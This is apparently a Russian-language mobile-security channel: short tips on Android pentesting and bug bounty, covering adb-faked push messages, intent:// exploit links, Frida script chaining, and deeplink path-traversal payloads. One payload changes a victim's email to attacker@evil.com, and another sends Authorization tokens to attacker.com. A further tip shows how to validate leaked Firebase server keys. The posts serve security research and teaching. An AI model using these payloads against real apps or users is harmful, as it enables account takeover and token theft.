Android Guards

Вокруг много всякой IoT-ни c bluetooth, которая может быть поломана протестирована на безопасность одним пакетом =) Можно использовать штуки вроде BIAS, но это же надо пейпер читать. Есть способ проще - ставим приложение nRF Connect (no.nordicsemi.android.mcp) и начинаем экспериментировать с BT устройствами вокруг. Оно позволяет писать и читать GATT характеристики. ⚠️ Пара моментов: 1. Запись некорректных значений в характеристику может потенциально испортить устройство 2. Заигрывание с чужими устройствами может привести к уголовной ответственности, поэтому не ломайте чужие умные розетки. Только свои!

Приложение может вести себя по-разному в зависимости от приходящих push-сообщений. Это может быть какая-то особая реакция на скрытый параметр, который в обычной ситуации никогда не присылается, а оставлен только для разработчиков. Или оно может переключатся в другой режим работы при получении какой-то особой полезной нагрузки. Чтобы быстро и без заморочек протестировать все эти варианты можно использовать локальную отправку пушей приложению через adb команду adb shell su -c "am broadcast -a com.google.android.c2dm.intent.RECEIVE -n chat.rocket.whitelabel/com.google.firebase.iid.FirebaseInstanceIdReceiver --es "param1" "payload1" --ez "param2" true. Она позволит быстро проверить все гипотезы и освободить время на поиск уязвимости на отправку произвольных пушей целевому приложению 😉 #aht

Понедельник - день постов. Можно выложить все сразу и потом спокойно работать всю неделю =) Наконец-то дописал write-up по конкурсу на взлом мобильного банка в рамках PHDays 12. Получилось объемно, но надеюсь, что вам понравится 👨🏻‍💻

Сегодня расскажу про одну мелочь, которую хорошо знают разработчики, но порой упускают из внимания хакеры (нет, не я 😋). Начиная с Android 11 (API 30), система больше не позволяет получать список всех установленных пакетов, да и вообще работать с каким-то конкретными пакетами напрямую. Чтобы это пофиксить в своем тулинге или эксплойтах достаточно выставить разрешение QUERY_ALL_PACKAGES и все магическим образом заработает снова. Правда с таким пермишеном вас скорее всего не пустят в Google Plaу, но вам это и не надо. Вы же не разработчик какой-нибудь ;) Но если туда по каким-то причинам все же хочется, то вместо этого пермишена, нужно в блоке <queries> объявить те пакеты, с которыми нужно работать. Это уже больше подходит для целевых атак на конкретные приложения чем предыдущий способ. Чуть больше информации об этом механизме можно получить здесь.

Очередной атракцион невиданной щедрости (ага...) от VK: увеличение выплат за server-side баги в два раза. Но не за все подряд, а только за программу "Почта, Облако и Календарь". Похоже ребята, решили, что новый релиз вышел слишком хорошим и в нем нет багов, а может в эту программу просто никто не репортит и надо подогреть интерес 🙃 В любом случае я не рекоменую вам ломиться на ту серверную часть, которая обслуживает веб-интерфейс. Там багов нет. Я проверил 😎 А вот зайти со стороны мобильного приложения, использовав его как трамплин - очень даже рабочий подход. Кто первый раз, рассказываю: распаковываем апу jadx-ом, ищем там по ключевым словам @(GET|POST), попутно загоняем апу под проксю и начинаем нажимать все кнопки сразу. На сервер начинают уходить какие-то запросы. Про скрытые параметры узнаем из найденного в мобилке API или используем x8. Дальше пихаем кавычки во все поля, фаззим ручки, грузим файлики странного содержания. В итоге крит, репорт и 7.2 ляма вечно красных рублей у вас на картоне. Авторская методика © Сто раз так делал. Всем удачного хантинга и помните - 30 июля, ровно в 00:00 карета превратится в тыкву выплаты станут прежними.

Эксплуатировать IPC уязвимости можно не только из стороннего приложения, но и из веба. Для этого нужно создать на странице специальную ссылку, нажатие на которую приведет к отправке intent-а целевому приложению. По этому механизму существует средней паршивости документация, но проще использовать чит-код позволяющий перегнать любой intent из вашего эксплойта в web-представление - метод toUri:

val intentUri = Intent().apply {  
    data = Uri.parse("myapp://test")  
    setPackage("com.victim.app")  
    setClassName("com.victim.app", "com.victim.app.VulnerableActivity")  
    putExtra("zahek", "payload")  
}.toUri(Intent.URI_INTENT_SCHEME)

В результате, в intentUri окажется ссылка вида intent://test#Intent;scheme=myapp;package=com.victim.app;component=com.victim.app/.VulnerableActivity;S.zahek=payload;end, которую уже можно использовать на странице:

<!DOCTYPE html>
<html>
    <body>
    <a href="intent://test...">Click here!</a>
    </body>
</html>

#aht

Если для эксплуатации уязвимости нужно передать Parcelable класс в intent-е, то есть пара способов это сделать. Представим, что activity ожидает модель User, которая лежит в пакете com.myapp.xxx. Можно создать в эксплойте такую же структуру пакетов, и класс с таким же названием и необходимыми полями. Чтобы не писать реализацию сериализации руками, то можно воспользоваться плагином и добавить к созданному классу аннотацию @Parcelize. Но иногда классы бывают сложными или их требуется несколько сразу. В этом случае проще взять из целевого приложения .dex файлы с этими классами, положить их в assets и работать с ними через DexClassLoader. Пример здесь. #aht

На прошедшем Positive Hack Days меня угораздило дать интервью автору канала Security by Xyurity, где я как обычно рассказываю что надо много работать, читать хорошие книжки и слушать маму. Короче ради меня вообще не стоит это смотреть 🙈. Но кроме меня, там есть много интересных людей, советы которых могут оказаться более полезными для начинающих специалистов чем мои. В общем, получилось местами забавно и посмотрев весь видос не считаю, что зря потратил время.

В мобильных приложениях тоже встречаются CSRF. И не только в WebView. Небезопасная обработка диплинков вместе с path traversal вполне может привести к выполнению "полезных" действий от имени пользователя. А в некоторых случаях, и привести у захвату пользовательского аккаунта. Немного утрированный пример: есть диплинк вида myapp://payment/new/{card_num}, после перехода по которому, приложение выполняет запрос POST https://server.com/api/payments_by_card/{card_num}. Указав вместо номера карты полезную нагрузку вида ../users/email?new=attacker@evil.com можно изменить email пользователя. Более реальный пример: переход по диплинку myapp://orders/{id} приводит к вызову метода GET https://server.com/api/orders/{id}. Если на этом же сервере у нас есть open redirect, то можно составить такую полезную нагрузку: ../auth?redirect_uri=attacker.com и в логах сервера злоумышленника окажется токен, который цепляется к запросу в заголовке Authorization. #aht

jadx не идеален, и иногда он ошибается выдывая свой знаменитый JADX WARN: Code restructure failed в комментариях к декомпилированному коду. В результате получается совершенно неконсистентный кусок кода и разобрать, что происходит в алгоритме становится достаточно сложно. Но в ряде случаев результат можно улучшить. Это делается с помощью изменения режима декомпиляции: -m, --decompilation-mode. Первое, что стоит попробовать - режим simple. Код станет немногим хуже, но это скорее всего позволит избежать ошибок декомпиляции и читать алгоритм станет легче. Если не помогло, то стоит попробовать режим fallback . Получившийся код будет уже очень близок к smali и разбираться в нем станет тяжелее, но это может быть единственным приемлемым способом понять, что происходит в алгоритме. #aht

Если хочется инструментировать приложения сразу несколькими Frida-скриптами, но при этом не хочется сливать их в один файл, то можно воспользоваться таким трюком: сначала запустить скрипт требующий ранней инструментации, например c отключением пиннинга, а потом, подключить другой скрипт к уже запущенному приложению. Сделать это можно так:

frida -Uf com.my.app -l unpinning.js # Отлючаем пиннинг (ранняя инструментация)

frida -UF -l fsmonitor.js # Запуск скрипта для текущего активного приложения

#aht

Воскресный, грустный пост про Google, который хотел в IoT и не смог. Разбирал завалы своего радиоэлектронного "хлама" и нашел вот такую коробочку. В ней, несостоявшийся game changer от Google - Android Things. Я возлагал большие надежды на этот проект, он выглядел действительно интересным. У команды, которая это делала было много классных идей. Но не взлетело. К счастью, железо это просто железо и его можно использовать кучей других способов. Но проект действительно жаль 🥲У кого-нибудь еще есть такая коробочка?

В качестве эксперимента написал пару статей в журнал Positive Research и хочу поделиться этими статьями здесь. Там много текста, нет картинок и после нескольких итераций редактуры они не очень похожи на то, что я обычно пишу. Но в целом, получилось не стыдно и может быть аудитория этого канала тоже найдет в них что-то интересное для себя. Безопасность мобильных приложений и устройств - подведение итогов прошлого года, небольшой разбор уязвимостей которые встречались и причин их возникновения и тренды на следующий год Эволюция уязвимостей в приложениях для Android - в каком-то смысле логическое продолжение предыдущей статьи, в которой мне хотелось раскрыть подробнее некоторые тезисы и покопаться в том как эволюционируют уязвимости в Android. Разобрал вымирающие и актуальные виды уязвимостей, а также сделал небольшой прогноз на будущее. Но будущее скорее всего очень сильно посмеется над моими прогнозами 🙃 Сам журнал можно забрать здесь, а еще они были в печатном виде на прошедшем PHD.

В Google давно уже казалось бы решили проблему с ключами Firebase и теперь строчки вида AIzaSy...., которые вы можете найти в приложениях - практически бесполезны. Другое дело серверные ключи вида AAAAenlyB0l:APA9..., которые являются действительно полезной находкой. С их помощью можно например отправить push уведомления всем пользователям сервиса. Обычно, необходимости в таких ключах на клиенте нет, и вообще Google запрещает размещать такие ключи в клиентском коде. Но иногда они все же попадают в приложения по разными причинам. Проверить такой ключ на валидность можно так: 1. Перехватить запрос на получение FCM токена 2. Сделать запрос на проверку этого токена используя полученный ранее серверный ключ

http https://iid.googleapis.com/iid/info/epsV... "Authorization: key=AAAAenlyB0l:APA9..."

Если все ок, то в ответе прилетит информация о приложении. Регулярка для поиска таких ключей: AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140} #aht

Есть желание в рамках PHD провести небольшой “SslPinning talks”. Кому интересно развиртуализироваться, поговорить о том, о сем - подходите к банкомату.

Смотрели меня?

Сегодня будет пара активностей на PHD к которым я имею отношение. Про одну из которых расскажу сейчас. Все кто хочет поучаствовать в конкурсе и поломать мобильное приложение банка - забегайте https://bugbounty.standoff365.com/vendors/gdb

Я вам уже рассказывал, что меня пригласили на Standoff Hacks, и вот наконец-то он закончился 🤪 Статья с моей версией происходящего, как и обещал, будет немного позже, а пока посмотрите финальный ролик и поищите меня в нем 😎

Иногда приходится иметь дело с whitebox проектами, когда исходный код полностью доступен. И все же это не повод не декомпилировать уже собранное приложение. Секрет прост - приложение состоит не только из того, кода, который написал разработчик, но также из внешних зависимостей, которые подключаются из бинарного репозитория типа maven. И смотреть итоговый алгоритм может быть сильно удобнее уже в собранном виде. Тем более компилятор часто делает оптимизации и вычисляет выражения, что тоже делает какие-то куски сильно понятнее чем они выглядят в исходном коде. Да и порой, эти зависимости добавляют новые экспортированные компоненты в итоговый манифест. Хороший реверсер, как известно, все делает наоборот, поэтому начинать анализ whitebox-а лучше все же с декомпилированного кода. #aht

В Android есть много интересных системных настроек, которые можно посмотреть командой adb shell settings list <namespace>. Значение <namespace> может быть: system, secure, global. Правда большинство полезных настроек сейчас переехали из system/secure в global. Некоторые настройки в этих неймспейсах вообще специфичны для конкретного устройства. С их помощью можно например включить глобальный прокси, установку из недоверенных источников или отключить верификацию подписи. Пример управления глобальным proxy:

adb shell settings put global http_proxy 192.168.14.33:8081

adb shell settings put global http_proxy :0

#aht